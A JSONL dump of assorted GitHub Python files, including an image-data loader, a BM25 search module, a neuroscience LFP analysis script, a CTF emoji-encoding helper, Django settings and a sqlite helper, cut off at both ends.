dtype=\"float32\") / 255.0\n data.append(image_arr[1])\n\n # extract the class label\n label = imagepath.split(os.path.sep)[1]\n labels.append(label)\n data = np.array(data)\n labels = np.array(labels)\n num = 0\n for each_label in labels:\n if each_label != '正常':\n labels[num] = '疵点'\n num += 1\n labels_inter = LabelEncoder().fit_transform(labels)\n labels = to_categorical(labels_inter, num_classes=class_number)\n print(\"testdata:\",data.shape)\n print(\"testlabel:\",labels.shape)\n #return data,labels\n return data,labels\n\n\n\ndef test_data(train_data,batch_size):\n while 1:\n cnt = 0\n data = []\n labels = []\n list_label = []\n flag = 0\n for imagepath in train_data:\n image = cv_imread(imagepath)\n image = img_to_array(image)\n if cnt == 0:\n image1 = np.array(image, dtype=\"float32\") / 255.0\n else:\n image_test = np.array(image, dtype=\"float32\") / 255.0\n flag = 1\n if flag == 1:\n image_test2 = np.append(image1 , image_test)\n flag +=1\n elif flag > 1:\n image_test2 = np.append(image_test2 , image_test)\n print(image_test2.shape)\n #image = cv2.resize(image,(400,300))\n\n data.append(image)\n\n # image_arr = np.array(image, dtype=\"float32\") / 255.0\n # data.append(image_arr)\n\n label = imagepath.split(os.path.sep)[1]\n labels.append(label)\n cnt += 1\n if cnt==batch_size:\n cnt = 0\n data = np.array(data, dtype=\"float32\") / 255.0\n labels = np.array(labels)\n num = 0\n for each_label in labels:\n if each_label != '正常':\n #labels[num] = '疵点'\n # labels[num] = 1\n # labels[num]\n list_label.append(1)\n else:\n #labels[num] = 0\n list_label.append(0)\n\n num += 1\n #labels_inter = LabelEncoder().fit_transform(labels)\n\n labels = to_categorical(list_label, num_classes=class_number)\n\n print(\"datatrain:\",data.shape)\n # print(\"labeltrain:\",labels.shape)\n # exit()\n yield (data, labels)\n data = []\n labels = []\n list_label= []\n","repo_name":"zipinggao/Source","sub_path":"tianchixulang/snowlan_myself/dataset_two.py","file_name":"dataset_two.py","file_ext":"py","file_size_in_byte":6026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8515605123","text":"\"\"\"装饰器合集\"\"\"\nimport os\nimport yaml\nfrom functools import wraps, partial\nfrom utils.logging_utils import logger\nfrom settings import Settings as ST\n\n\ndef popup_handle(method):\n \"\"\"处理自动化过程中突然弹出的窗口\"\"\"\n @wraps(method)\n def inner(self, locator, value=\"\"):\n try:\n return method(self, locator, value)\n except Exception as e:\n for popup in self._popup_list:\n ret = self.find_all(popup)\n if ret:\n logger.info(f' find popup {popup}')\n ret[0].click()\n return method(self, locator, value)\n continue\n raise e\n return inner\n\n\n\n\n\n\n\n","repo_name":"emuyi/test-dev-skills","sub_path":"projects/test_appium/test_xueqiu_app/utils/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39782117948","text":"# imports\nimport pandas as pd\nimport numpy as np\nimport numpy as np\nfrom nltk.tokenize import word_tokenize\nfrom tqdm import tqdm\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom collections import Counter\nimport json\nimport time\nfrom autocorrect import Speller\nfrom nltk.corpus import stopwords\nfrom nltk.corpus import wordnet\nfrom rank_bm25 import BM25Okapi\n\nstop_words = set(stopwords.words('english'))\nfrom nltk.stem import PorterStemmer\nimport tensorflow_hub as hub\n\n\n\ndef expand_query(query,model):\n similar_words = model.most_similar(positive=query,restrict_vocab=10000, topn=5)\n expanded_query=''\n for i in query:\n expanded_query+=i\n expanded_query+=' '\n\n expanded_query+=': '\n for word,score in similar_words:\n expanded_query+=word\n expanded_query+=' '\n\n expanded_query+='\\n'\n\n with open('query_expansions.txt', 'a+') as f:\n f.write(expanded_query)\n\n\n #for word,score in similar_words:\n # print(word)\n\n\ndef preProcessQuery(query: str,model):\n # remove stopwords\n\n word_tokens = word_tokenize(query)\n query = (\" \".join([w for w in word_tokens if not w.lower() in stop_words]))\n\n # all lower case\n query = query.lower()\n # spell check\n word_tokens = word_tokenize(query)\n\n if model!=None:\n expand_query(word_tokens,model)\n\n spell = Speller(lang='en')\n query = (\" \".join([spell(w) for w in word_tokens]))\n\n\n # stemming\n stemmer = PorterStemmer()\n query = (' '.join(stemmer.stem(token) for token in word_tokenize(query)))\n\n return query\n\n\n\n\ndef executeQuery(query: str, model, tfIdfMatrix=None, corpus=None, numberOfElementsToReturn=100, embedder = None, goodQueries = None, corpusEmbedding = None):\n # first preprocess query same way dataset is preprocessed\n\n query = preProcessQuery(query,model)\n\n #do embedding after preprocessing, but before splitting the query stirng\n if (embedder):\n start = time.time()\n print(\"QUERY ER: \", query)\n queryEmbedding = np.array(embedder([query])).reshape(-1,1)\n cosineSim = np.dot(corpusEmbedding,queryEmbedding)/(np.linalg.norm(corpusEmbedding)*np.linalg.norm(queryEmbedding))\n idx = np.argmax(cosineSim)\n print(\"most sim sentence: \", goodQueries[idx])\n print(\"Comparing queries took: \", time.time() - start)\n\n query=query.split(\" \")\n\n\n\n\n with open('IR/bm25_tokenized_abstract_corpus.json') as json_file1: #TODO maybe load on startup of backend?\n tokenized_abstract_corpus = json.load(json_file1)\n with open('IR/bm25_tokenized_title_corpus.json') as json_file2: #TODO maybe load on startup of backend?\n tokenized_title_corpus = json.load(json_file2)\n\n #for abstract\n bm25Abstract = BM25Okapi(tokenized_abstract_corpus)\n abstract_doc_scores = bm25Abstract.get_scores(query)\n\n #for title\n bm25Title = BM25Okapi(tokenized_title_corpus)\n title_doc_scores = bm25Title.get_scores(query)\n \n\n #assign weight (importance) to features (make sure they add to 1):\n abstractWeight, titleWeight = 0.3, 0.7\n combined_doc_scores = (abstract_doc_scores*abstractWeight) + (title_doc_scores*titleWeight)\n\n\n sortedIndices = np.argsort(combined_doc_scores)[::-1]\n with open('bm25_first_titles.txt', 'a+') as f:\n for i in sortedIndices[:10]:\n f.write(corpus[str(i)][2])\n f.write('\\n')\n\n orderedCorpusAccordingToQuery = []\n for idx in sortedIndices[:numberOfElementsToReturn]:\n orderedCorpusAccordingToQuery.append((corpus[str(int(idx))]))\n\n return orderedCorpusAccordingToQuery\n\n\ndef executeQueryLocal(query: str, numberOfElementsToReturn=100):\n # first preprocess query same way dataset is preprocessed\n query = preProcessQuery(query)\n query = query.split(\" \")\n with open('bm25_tokenized_corpus.json') as json_file:\n tokenized_corpus = json.load(json_file)\n\n bm25 = BM25Okapi(tokenized_corpus)\n doc_scores = bm25.get_scores(query)\n sortedIndices = np.argsort(doc_scores)[::-1]\n\n with open('corpus.json') as json_file:\n corpus = json.load(json_file)\n\n orderedCorpusAccordingToQuery = []\n for idx in sortedIndices[:numberOfElementsToReturn]:\n orderedCorpusAccordingToQuery.append((corpus[str(int(idx))]))\n\n return orderedCorpusAccordingToQuery\n\n # compare the input query vector to the vectors of all documents in corpus\n\n\n\nif __name__ == \"__main__\":\n results = executeQueryLocal(\n \"AI in python with pytorch\") # results are a list of indices from most relvant to least relevant from the corpus\n # print(len(results), len(results[0]))\n results = np.array(results)\n print(results[:2, 6])\n\n # with open('corpus.json') as json_file:\n # corpus = json.load(json_file)\n # print(\"\\n\\n\\n\",corpus[str(int(855))])\n # results = executeQuery(\"AI in python with pytorch\") #results are a list of indices from most relvant to least relevant from the corpus\n # print(results[0])\n\n","repo_name":"EivindKjosbakken/IN4325Project","sub_path":"backend/IR/bm25.py","file_name":"bm25.py","file_ext":"py","file_size_in_byte":4971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34519988303","text":"import sys\nimport K3S\nimport colorama\nimport scipy\nimport numpy\n\n\ncolorama.init()\n\n#STEP 1. Copy text source file to the required location before starting processing\n\nprint(colorama.Fore.BLUE + 'STEP 1: Copy text source file to the required location before starting processing')\nprint('Example: Bukhari (identifier), /home/ishrat/research/K3S/data/text/raw/en_Sahih_Al-Bukhari.pdf (absolute path)')\n\nidentifier = input(colorama.Fore.RED + 'Source identifier for grouping data from same source: \\n' + colorama.Style.RESET_ALL)\nclean = input(colorama.Fore.GREEN + 'Clean all related files (Y / N): \\n' + colorama.Style.RESET_ALL)\nprint('Allowed extensions: csv, pdf, tar' + colorama.Style.RESET_ALL)\nfilePath = input(colorama.Fore.GREEN + 'Absolute file path of the source (ignore if previously loaded): \\n' + colorama.Style.RESET_ALL)\n\nif not identifier:\n\tprint(colorama.Fore.RED + 'ERROR: identifier required'+ colorama.Style.RESET_ALL)\n\tsys.exit()\n\nprocessor = K3S.Processor(identifier)\nif clean == 'Y':\n\tprocessor.clean()\n\nprocessor.createSourceSetup()\nif filePath:\n\tprocessor.copy(filePath)\n\n\n#STEP 2: Extract content from the source file\nprint(colorama.Fore.BLUE + 'STEP 2: Extract content from the source file')\nextract = input(colorama.Fore.GREEN + 'Extract text blocks (Y / N): \\n' + colorama.Style.RESET_ALL)\nif extract == 'Y':\n\tprocessor.extractBlocks()\n\n#STEP 3: Setup database\nsetupDatabase = input(colorama.Fore.GREEN + 'Should load database (Y / N): \\n' + colorama.Style.RESET_ALL)\nif setupDatabase == 'Y':\n\tprocessor.topologySetUp()\n\tprocessor.saveBlocksInMysql()\n\tprocessor.addEdges()\n\n#STEP 4: Build vocabulary\nshouldBuildVocabulary = input(colorama.Fore.GREEN + 'Should build and save vocaburary (general count and tf-idf) text (Y / N): \\n' + colorama.Style.RESET_ALL)\nif shouldBuildVocabulary == 'Y':\n\tvocab = processor.buildVocabulary()\nelse:\n\tvocab = processor.reloadVocab()\n\n#STEP 5: Produce image\nshouldBuildImages = input(colorama.Fore.GREEN + 'Should produce highlighted image using tf-idf (Y / N): \\n' + colorama.Style.RESET_ALL)\nif shouldBuildImages == 'Y':\n\tprocessor.produceImages(None, True)\n\n\nprocessName = input(colorama.Fore.RED + 'Name of the algorithm (kmeans): \\n' + colorama.Style.RESET_ALL)\nif processName == 'kmeans':\n\tkmeans = processor.calculateKMeans(vocab, 5)\nelse:\n\tkmeans = processor.reloadKMeans(identifier)\n\n\t\n\n","repo_name":"kahf-sami/K3S","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21427002563","text":"import pyttsx3\r\nimport datetime\r\nimport webbrowser\r\nimport wikipedia\r\nimport calendar\r\nimport speech_recognition as sr\r\nimport keyboard \r\nimport pywhatkit\r\nfrom tkinter import *\r\nfrom PIL import Image, ImageTk\r\n\r\nroot = Tk()\r\nroot.geometry('1920x1080')\r\nimg = (Image.open(\"background.jpg\"))\r\nresized_img = img.resize((1920,1080), Image.Resampling.LANCZOS)\r\nimg = ImageTk.PhotoImage(resized_img)\r\ncnvs = Canvas(root, height=1080, width=1920)\r\ncnvs.create_image(0,0, image = img, anchor = NW)\r\ncnvs.create_text(1600,200, text=\"Voice Assistant by \\nC Hemachandra\\nSuhas\\nHarsha\\nAniruddha\", font=(\"Times New Roman\", 24), fill=\"white\")\r\ncnvs.place(relx = 0, rely=0)\r\n\r\n\r\ndef execute():\r\n def speak(audio):\r\n \r\n engine = pyttsx3.init()\r\n voices = engine.getProperty('voices')\r\n engine.setProperty('voice', voices[0].id)\r\n \r\n engine.say(audio)\r\n \r\n engine.runAndWait()\r\n def Take_query():\r\n\r\n Hello()\r\n \r\n while(True):\r\n \r\n query = takeCommand().lower()\r\n if \"open youtube\" in query:\r\n speak(\"opening youtube \")\r\n \r\n webbrowser.open(\"www.youtube.com\")\r\n continue\r\n \r\n elif \"open google\" in query:\r\n speak(\"Opening Google \")\r\n webbrowser.open(\"www.google.com\")\r\n continue\r\n\r\n elif \"play\" in query:\r\n song = query.replace('play','')\r\n speak('playing'+song)\r\n pywhatkit.playonyt(song)\r\n continue\r\n\r\n elif \"open flipkart\" in query:\r\n speak(\"opening flipkart\")\r\n webbrowser.open(\"www.flipkart.com\")\r\n continue\r\n\r\n elif \"open amazon\" in query:\r\n speak(\"opening amazon\")\r\n webbrowser.open(\"www.amazon.com\")\r\n continue\r\n\r\n elif \"how is PES university \"in query:\r\n speak(\"PES is such a shit institute...if you join here your life will be set\")\t\t\t\r\n continue\r\n \r\n elif \"tell me the time\" in query:\r\n speak(tellTime)\r\n continue\r\n\r\n elif \"are you single \" in query:\r\n speak('No,i am in a relation ship with wifi')\r\n continue\r\n \r\n elif \"bye\" in query:\r\n speak(\"Bye. if you are intrested please update me...take care..\")\r\n exit()\r\n\r\n elif\"i love you\" in query:\r\n speak(\"i love you too dear\")\r\n continue\r\n \r\n elif \"from wikipedia\" in query:\r\n \r\n speak(\"Checking the wikipedia \")\r\n query = query.replace(\"wikipedia\", \"\")\r\n \r\n result = wikipedia.summary(query, sentences=4)\r\n speak(\"According to wikipedia\")\r\n speak(result)\r\n \r\n elif \"tell me your name\" in query:\r\n speak(\"I am Jarvis. Your desktop Assistant\")\r\n\r\n def takeCommand():\r\n\r\n r = sr.Recognizer()\r\n\r\n with sr.Microphone() as source:\r\n print('Listening')\r\n \r\n r.pause_threshold = 0.7\r\n audio = r.listen(source)\r\n \r\n try:\r\n print(\"Recognizing\")\r\n \r\n Query = r.recognize_google(audio, language='en-in')\r\n print(\"the command is printed=\", Query)\r\n \r\n except Exception as e:\r\n print(e)\r\n print(\"Say that again sir\")\r\n return \"None\"\r\n \r\n return Query\r\n\r\n def tellTime(self):\r\n\r\n time = str(datetime.datetime.now())\r\n \r\n speak(time)\r\n hour = time[11:13]\r\n min = time[14:16]\r\n self.Speak(self, \"The time is sir\" + hour + \"Hours and\" + min + \"Minutes\")\t\r\n \"\"\"\r\n This method will take time and slice it \"2020-06-05 17:50:14.582630\" from 11 to 12 for hour\r\n and 14-15 for min and then speak function will be called and then it will speak the current\r\n time\r\n \"\"\"\r\n def Hello():\r\n speak(\"hello sir I am your desktop assistant Tell me how may I help you\")\r\n if __name__ == '__main__':\r\n Take_query()\r\n\r\n\r\nbtn = Button(text=\"Activate\", command=execute)\r\nbtn.configure(font=(\"Times New Roman\",24))\r\nbtn.place(relx = 0.75, rely=0.75, anchor = CENTER)\r\n\r\nroot.mainloop()","repo_name":"dCUBExBYdtCUBE/VoiceAssistant","sub_path":"VOICE ASSISTANT PROJECT FINAL.py","file_name":"VOICE ASSISTANT PROJECT FINAL.py","file_ext":"py","file_size_in_byte":4520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4452518689","text":"import numpy as np\nimport scipy as sp\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\nfrom neurodsp import spectral\nfrom fooof import FOOOFGroup\nfrom fooof import analysis, utils\n\nfrom matplotlib import rcParams\nfrom matplotlib import pyplot as plt\nrcParams['figure.figsize'] = [20, 4]\nrcParams['font.size'] =15\nrcParams['axes.spines.top'] = False\nrcParams['axes.spines.right'] = False\nrcParams['figure.autolayout'] = True\n\nimport os, requests\n\ndef analyze():\n\n fname = ['steinmetz_st.npz']\n fname.append('steinmetz_wav.npz')\n fname.append('steinmetz_lfp.npz')\n\n url = [\"https://osf.io/4bjns/download\"]\n url.append(\"https://osf.io/ugm9v/download\")\n url.append(\"https://osf.io/kx3v9/download\")\n\n for j in range(len(url)):\n if not os.path.isfile(fname[j]):\n try:\n r = requests.get(url[j])\n except requests.ConnectionError:\n print(\"!!! Failed to download data !!!\")\n else:\n if r.status_code != requests.codes.ok:\n print(\"!!! Failed to download data !!!\")\n else:\n with open(fname[j], \"wb\") as fid:\n fid.write(r.content)\n\n import os, requests\n\n fname = []\n for j in range(3):\n fname.append('steinmetz_part%d.npz'%j)\n url = [\"https://osf.io/agvxh/download\"]\n url.append(\"https://osf.io/uv3mw/download\")\n url.append(\"https://osf.io/ehmw2/download\")\n\n for j in range(len(url)):\n if not os.path.isfile(fname[j]):\n try:\n r = requests.get(url[j])\n except requests.ConnectionError:\n print(\"!!! Failed to download data !!!\")\n else:\n if r.status_code != requests.codes.ok:\n print(\"!!! Failed to download data !!!\")\n else:\n with open(fname[j], \"wb\") as fid:\n fid.write(r.content)\n\n dat_LFP = np.load('steinmetz_lfp.npz', allow_pickle=True)['dat']\n # dat_WAV = np.load('steinmetz_wav.npz', allow_pickle=True)['dat']\n # dat_ST = np.load('steinmetz_st.npz', allow_pickle=True)['dat']\n\n alldat = np.array([])\n for j in range(len(fname)):\n alldat = np.hstack((alldat, np.load('steinmetz_part%d.npz'%j, allow_pickle=True)['dat']))\n\n # select just one of the recordings here. 11 is nice because it has some neurons in vis ctx.\n dat = dat_LFP[11]\n print(dat.keys())\n dat_k = alldat[11]\n print(dat_k.keys())\n\n regions = [\"vis ctx\", \"thal\", \"hipp\", \"other ctx\", \"midbrain\", \"basal ganglia\", \"cortical subplate\", \"other\"]\n brain_groups = [[\"VISa\", \"VISam\", \"VISl\", \"VISp\", \"VISpm\", \"VISrl\"], # visual cortex\n [\"CL\", \"LD\", \"LGd\", \"LH\", \"LP\", \"MD\", \"MG\", \"PO\", \"POL\", \"PT\", \"RT\", \"SPF\", \"TH\", \"VAL\", \"VPL\", \"VPM\"], # thalamus\n [\"CA\", \"CA1\", \"CA2\", \"CA3\", \"DG\", \"SUB\", \"POST\"], # hippocampal\n [\"ACA\", \"AUD\", \"COA\", \"DP\", \"ILA\", \"MOp\", \"MOs\", \"OLF\", \"ORB\", \"ORBm\", \"PIR\", \"PL\", \"SSp\", \"SSs\", \"RSP\",\" TT\"], # non-visual cortex\n [\"APN\", \"IC\", \"MB\", \"MRN\", \"NB\", \"PAG\", \"RN\", \"SCs\", \"SCm\", \"SCig\", \"SCsg\", \"ZI\"], # midbrain\n [\"ACB\", \"CP\", \"GPe\", \"LS\", \"LSc\", \"LSr\", \"MS\", \"OT\", \"SNr\", \"SI\"], # basal ganglia\n [\"BLA\", \"BMA\", \"EP\", \"EPd\", \"MEA\"] # cortical subplate\n ]\n\n\n def get_rec_dat(alldat, dat_LFP, i):\n \"gets information for single recording session\"\n\n mouse_name = alldat[i]['mouse_name']\n n_shanks = dat_LFP[i]['lfp'].shape[0]\n n_trials = dat_LFP[i]['lfp'].shape[1]\n n_samples = dat_LFP[i]['lfp'].shape[2]\n sfreq = n_samples/2.5 # 100 Hz sampling rate (nyquist @ 50 Hz)\n\n return mouse_name, n_shanks, n_trials, n_samples, sfreq\n\n def get_trial_dat(alldat, dat_LFP, i, shank, trial):\n \"gets data from single trial\"\n\n sig = dat_LFP[i]['lfp'][shank][trial]\n contrast_left = alldat[i]['contrast_left'][trial]\n contrast_right = alldat[i]['contrast_right'][trial]\n response = alldat[i]['response'][trial]\n response_time = alldat[i]['response_time'][trial]\n\n return sig, contrast_left, contrast_right, response, response_time\n\n def spec_param_features(freqs, spectrum, fm):\n \"returns features of parameterized power spectrum\"\n\n fm.fit(freqs, spectrum, freq_range=[1,50])\n ap_exp = fm.aperiodic_params_[1]\n offset = fm.aperiodic_params_[0]\n gamma = analysis.get_band_peak_fm(fm, [30,50])\n gamma_cf = gamma[0]\n gamma_pow = gamma[1]\n\n return ap_exp, offset, gamma_cf, gamma_pow\n\n g = FOOOFGroup(peak_width_limits=(2,6))\n\n recordings = np.array([])\n mouse_names = np.array([])\n n_recording = np.array([])\n shanks = np.array([])\n probe_locs = np.array([])\n trials = np.array([])\n contrast_lefts = np.array([])\n contrast_rights = np.array([])\n contrast_diffs = np.array([])\n responses = np.array([])\n response_times = np.array([])\n ap_exps = np.array([])\n offsets = np.array([])\n theta_cfs = np.array([])\n theta_pows = np.array([])\n theta_bands = np.array([])\n beta_cfs = np.array([])\n beta_pows = np.array([])\n beta_bands = np.array([])\n gamma_cfs = np.array([])\n gamma_pows = np.array([])\n gamma_bands = np.array([])\n\n for i in range(0, 1): #alldat.shape[0]\n\n mouse_name, n_shanks, n_trials, n_samples, sfreq = get_rec_dat(alldat, dat_LFP, i)\n print('loading recording '+ str(i) +', mouse: '+ mouse_name)\n\n for shank in range(0,n_shanks):\n\n probe_loc = dat_LFP[i]['brain_area_lfp'][shank]\n\n sig = dat_LFP[i]['lfp'][shank]\n freqs, spectra = spectral.compute_spectrum_welch(sig[:,25:125], sfreq, avg_type='median', nperseg=sfreq, noverlap=sfreq/1.5)\n fg.fit(freqs, spectra, freq_range=[1,50])\n ap_exp = fg.get_params('aperiodic_params', 'exponent')\n offset = fg.get_params('aperiodic_params', 'offset')\n theta = analysis.get_band_peak_fg(fg, [3,8]) #tuples of cf, pwr\n beta = analysis.get_band_peak_fg(fg, [13,30]) #tuples of cf, pwr\n gamma = analysis.get_band_peak_fg(fg, [30,50]) #tuples of cf, pwr\n theta_ext = utils.trim_spectrum(freqs, spectra, [8,13])\n theta_band = np.trapz(theta_ext[1], theta_ext[0])\n beta_ext = utils.trim_spectrum(freqs, spectra, [13,30])\n beta_band = np.trapz(beta_ext[1], beta_ext[0])\n gamma_ext = utils.trim_spectrum(freqs, spectra, [30,50])\n gamma_band = np.trapz(gamma_ext[1], gamma_ext[0])\n\n shanks = np.concatenate([shanks, np.tile(shank, n_trials)], axis=None)\n probe_locs = np.concatenate([probe_locs, np.tile(probe_loc, n_trials)], axis=None)\n trials = np.concatenate([trials, np.arange(0,n_trials)], axis=None)\n\n contrast_left = alldat[i]['contrast_left']\n contrast_right = alldat[i]['contrast_right']\n contrast_lefts = np.concatenate([contrast_lefts, contrast_left], axis=None)\n contrast_rights = np.concatenate([contrast_rights, contrast_right], axis=None)\n contrast_diffs = np.concatenate([contrast_diffs, contrast_left-contrast_right], axis=None)\n responses = np.concatenate([responses, alldat[i]['response']], axis=None)\n response_times = np.concatenate([response_times, alldat[i]['response_time']], axis=None)\n\n ap_exps = np.concatenate([ap_exps, ap_exp], axis=None)\n offsets = np.concatenate([offsets, offset], axis=None)\n theta_cfs = np.concatenate([theta_cfs, theta[:,0]], axis=None)\n theta_pows = np.concatenate([theta_pows, theta[:,1]], axis=None)\n theta_bands = np.concatenate([theta_bands, theta_band], axis=None)\n beta_cfs = np.concatenate([beta_cfs, beta[:,0]], axis=None)\n beta_pows = np.concatenate([beta_pows, beta[:,1]], axis=None)\n beta_bands = np.concatenate([beta_bands, beta_band], axis=None)\n gamma_cfs = np.concatenate([gamma_cfs, gamma[:,0]], axis=None)\n gamma_pows = np.concatenate([gamma_pows, gamma[:,1]], axis=None)\n gamma_bands = np.concatenate([gamma_bands, gamma_band], axis=None)\n\n # recording\n recordings = np.concatenate([recordings, np.tile(i,n_shanks*n_trials)], axis=None)\n # mouse name\n mouse_names = np.concatenate([mouse_names, np.tile(mouse_name,n_shanks*n_trials)], axis=None)\n\n\n keys = ['recording', 'mouse_name', 'shank', 'brain_area', 'trial', 'contrast_left',\n 'contrast_right', 'contrast_diff', 'response', 'response_time', 'exponent',\n 'offset', 'theta_cf', 'theta_pow', 'theta_band', 'beta_cf', 'beta_pow', 'beta_band',\n 'gamma_cf', 'gamma_pow', 'gamma_band']\n values = [recordings, mouse_names, shanks, probe_locs, trials, contrast_lefts,\n contrast_rights, contrast_diffs, responses, response_times, ap_exps,\n offsets, theta_cfs, theta_pows, theta_bands, beta_cfs, beta_pows, beta_bands,\n gamma_cfs, gamma_pows, gamma_bands]\n exp_dict = dict(zip(keys, values))\n\n\n\n # for trial in range(0,n_trials):\n\n # sig, contrast_left, contrast_right, response, response_time = get_trial_dat(alldat, dat_LFP, i, shank, trial)\n # freqs, spectrum = spectral.compute_spectrum_welch(sig[25:125], sfreq, avg_type='median', nperseg=sfreq, noverlap=sfreq/1.5) #wavelet instead for such a short time window?\n # ap_exp, offset, gamma_cf, gamma_pow = spec_param_features(freqs, spectrum, fm)\n\n # mouse_names.append(mouse_name)\n # shanks.append(shank)\n # probe_locs.append(probe_loc)\n # trials.append(trial)\n # contrast_lefts.append(contrast_left)\n # contrast_rights.append(contrast_right)\n # responses.append(response)\n # response_times.append(response_times)\n # ap_exps.append(ap_exp)\n # offsets.append(offset)\n # # beta\n # gamma_cfs.append(gamma_cf)\n # gamma_pows.append(gamma_pow)\n\n # keys = ['mouse_name', 'shank', 'brain_area', 'trial', 'contrast_left', 'contrast_right', 'response', 'response_time', 'exponent', 'offset', 'gamma_cf', 'gamma_pow']\n # lists = [mouse_names, shanks, probe_locs, trials, contrast_lefts, contrast_rights, responses, response_times, ap_exps, offsets, gamma_cfs, gamma_pows]\n\n # exp_dict = dict(zip(keys, lists))\n\n df = pd.DataFrame(exp_dict)\n","repo_name":"sydney-smith/NMA_project","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":10266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31297919902","text":"#!/usr/bin/env python3\n\nfrom random import shuffle, seed\n\nbrainfuck = \"><+-.[]\"\ngrainduck = \"🌾🌽🦢🦆😗ðŸ�žðŸ¥–\"\n\nwith open(\"./chall.bf\", \"r\") as f:\n code = f.read()\n\nfor k, v in zip(brainfuck, grainduck):\n code = code.replace(k, v)\n\nwith open(\"../prompt/ransom\", \"w\") as f:\n f.write(code)\n","repo_name":"semanadeinformatica/ctf-competition-2023","sub_path":"rev/grainduck/challenge/encode.py","file_name":"encode.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71645049105","text":"\nDEBUG_REST_OUTPUT=False\nDEBUG_REST_INPUT=False\nDEBUG_WORLDPAY=False\n# show rest debugger on raw REST pages\nREST_DEBUGGER=False\n\n# used for API contacts\nCONTACT_DEFAULT_SOURCE = \"casinomoney\"\nCONTACT_EXTRA = [\"traffic\", \"business\", \"company\", \"application\", \"city\"]\n\n\nMY_FEED = [\"content.share\", \"content.like\", \"account.follow\"]\nGLOBAL_FEED = []\n\nNO_SCRAPE_DOMAINS = [\"localhost\"]\n\nCONTENT_KINDS = (\n ('S', 'Selfie'),\n ('I', 'Image'),\n ('V', 'Video'),\n ('E', 'Remote URL')\n)\n\nCONTENT_STATES = (\n (0, \"Inactive\"),\n (1, \"Deleted\"),\n (50, \"Archived\"),\n (100, \"Not Approved\"),\n (150, \"Removed Nudity\"),\n (151, \"Removed Copyright\"),\n (152, \"Removed Other\"),\n (199, \"No Trend\"),\n (200, \"Active\"),\n)\n\nCONTENT_FLOW_STATES = (\n (0, \"Sent\"),\n (1, \"Read\"),\n (50, \"Archived\"),\n (100, \"Ignored\"),\n (200, \"Published\"),\n)\n\nCONTENT_FLOW_MESSAGE_STATES = (\n (0, \"Sent\"),\n (1, \"Read\"),\n (50, \"Archived\"),\n (200, \"Responded\"),\n)\n\n# STATISTICS MODULE MAPPINGS\n# _aliases specifies lookup table for each component/action set.\n# 'COMPONENT.ACTION': {\n# 'ALIAS_TO': ('ALIAS_FROM', TYPE),\n# ...\n# },\nSTAT_ALIASES = {\n 'account.invite': {\n 'email': ('str1', str),\n },\n 'account.confirm': {\n 'email': ('str1', str),\n },\n 'account.created': {\n 'method': ('str1', str)\n },\n 'account.login': {\n },\n 'content.comment': {\n 'content': ('int1', 'content.Content'),\n 'comment': ('int2', 'comment.Comment'),\n },\n 'content.view': {\n 'content': ('int1', 'content.Content'),\n },\n 'content.share': {\n 'content': ('int1', 'content.Content'),\n 'website': ('str1', str),\n },\n 'content.like': {\n 'content': ('int1', 'content.Content'),\n },\n 'content.dislike': {\n 'content': ('int1', 'content.Content'),\n },\n 'content.rate': {\n 'content': ('int1', 'content.Content'),\n },\n 'content.unrate': {\n 'content': ('int1', 'content.Content'),\n }\n }\n\n\nAUDIT_LOG_FILTERS = {\n \"bm2\": \"sanatize_pan\",\n \"bm127.10\": \"sanatize_all\"\n}\n\nSOFTWARE_VERSIONS = {\n \"nginx\":\"nginx -v 2>&1 | cut -d'/' -f 2\",\n \"openssl\":\"openssl version | cut -d' ' -f 2\",\n \"python\": \"python -V 2>&1 | cut -d' ' -f 2\",\n \"redis\": \"redis-server -v | cut -d' ' -f3 | cut -d'=' -f 2\",\n \"ssh\": \"ssh -V 2>&1 | cut -d',' -f1\",\n \"django\": \"django-admin --version\"\n}\n\n\n","repo_name":"istarnes/restit-skeleton","sub_path":"django/_config/defaults/app_settings.py","file_name":"app_settings.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19107501566","text":"#-*- coding:utf-8 -*-\n\nimport sqlite3\n\nclass DBOption():\n def __init__(self, db_path='db.sqlite'):\n self.conn = sqlite3.connect(db_path)\n self.conn.isolation_level = None\n self.conn.text_factory = str\n self.cur = self.conn.cursor()\n\n def query_data(self, query_sql):\n \"\"\"\n 数据查询方法\n :param query_sql 查询语言\n \"\"\"\n\n self.cur.execute(query_sql)\n return [item for item in self.cur.fetchall()]\n\n def insert_data(self, insert_many_sql, data):\n \"\"\"\n 批量插入数据\n \"\"\"\n try:\n self.cur.executemany(insert_many_sql, data)\n self.conn.commit()\n return True\n except Exception as err:\n print(err)\n return False\n\n def insert_data_by_script(self, insert_script):\n \"\"\"\n 以SQLinsert语句的方式插入\n \"\"\"\n try:\n self.conn.executescript(insert_script)\n return True\n except Exception as err:\n print(err)\n return False\n\n def close(self):\n self.cur.close()\n self.conn.close()\n","repo_name":"AKMFCJ/findAirLine","sub_path":"libs/DB.py","file_name":"DB.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"26202586463","text":"#started at 11:59\nimport sys\ninput = sys.stdin.readline\n\nV,E = map(int, input().split())\nedges = []\n\nroots = [i for i in range(V+1)]\n\nfor _ in range(E):\n a,b,c = map(int, input().split())\n edges.append((a,b,c))\n\nedges.sort(key = lambda d:d[2])\n\ndef find(v):\n if v != roots[v]:\n 